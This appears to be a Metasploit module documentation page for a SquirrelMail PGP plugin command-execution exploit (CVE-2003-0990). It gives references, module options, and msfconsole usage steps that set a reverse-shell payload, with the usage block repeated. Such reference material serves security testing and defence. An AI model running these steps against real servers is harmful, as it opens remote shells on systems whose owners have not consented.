SquirrelMail PGP Plugin command execution (SMTP)
This module exploits a command execution vulnerability in the PGP plugin of SquirrelMail. This flaw was found while quickly grepping the code after release of some information at http://www.wslabi.com/. Later, iDefense published an advisory .... Reading an email in SquirrelMail with the PGP plugin activated is enough to compromise the underlying server. Only "cmd/unix/generic" payloads were tested.
Exploit Rank
- Manual
Exploit Authors
- Nicob < nicob [at] nicob.net >
Vulnerability References
- CVE-2003-0990
- OSVDB-3178
- http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html
- http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330
- http://www.wslabi.com/wabisabilabi/initPublishedBid.do?
Exploit Targets
- 0 - SquirrelMail PGP plugin < 2.1 (default)
Exploit Development
Similar Exploit Modules
- exploit/unix/webapp/awstats_configdir_exec
- exploit/unix/webapp/awstats_migrate_exec
- exploit/unix/webapp/awstatstotals_multisort
- exploit/unix/webapp/barracuda_img_exec
- exploit/unix/webapp/base_qry_common
- exploit/unix/webapp/cacti_graphimage_exec
- exploit/unix/webapp/cakephp_cache_corruption
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/unix/webapp/coppermine_piceditor
- exploit/unix/webapp/dogfood_spell_exec
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/webapp/squirrelmail_pgp_plugin
msf exploit(squirrelmail_pgp_plugin) > show payloads
msf exploit(squirrelmail_pgp_plugin) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(squirrelmail_pgp_plugin) > set LHOST [MY IP ADDRESS]
msf exploit(squirrelmail_pgp_plugin) > set MAILTO [STRING]
msf exploit(squirrelmail_pgp_plugin) > set RHOST [TARGET IP]
msf exploit(squirrelmail_pgp_plugin) > set SUBJECT [STRING]
msf exploit(squirrelmail_pgp_plugin) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/webapp/squirrelmail_pgp_plugin
msf exploit(squirrelmail_pgp_plugin) > show payloads
msf exploit(squirrelmail_pgp_plugin) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(squirrelmail_pgp_plugin) > set LHOST [MY IP ADDRESS]
msf exploit(squirrelmail_pgp_plugin) > set MAILTO [STRING]
msf exploit(squirrelmail_pgp_plugin) > set RHOST [TARGET IP]
msf exploit(squirrelmail_pgp_plugin) > set SUBJECT [STRING]
msf exploit(squirrelmail_pgp_plugin) > exploit
Exploit Module Options
| MAILFROM | The FROM address of the e-mail (default: random@example.com) |
| MAILTO | The TO address of the email |
| PASSWORD | SMTP Password for sending email |
| RHOST | The SMTP server to send through |
| RPORT | The SMTP server port (e.g. 25, 465, 587, 2525) (default: 25) |
| SUBJECT | Subject line of the email |
| USERNAME | SMTP Username for sending email |
| VERBOSE | Display verbose information |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
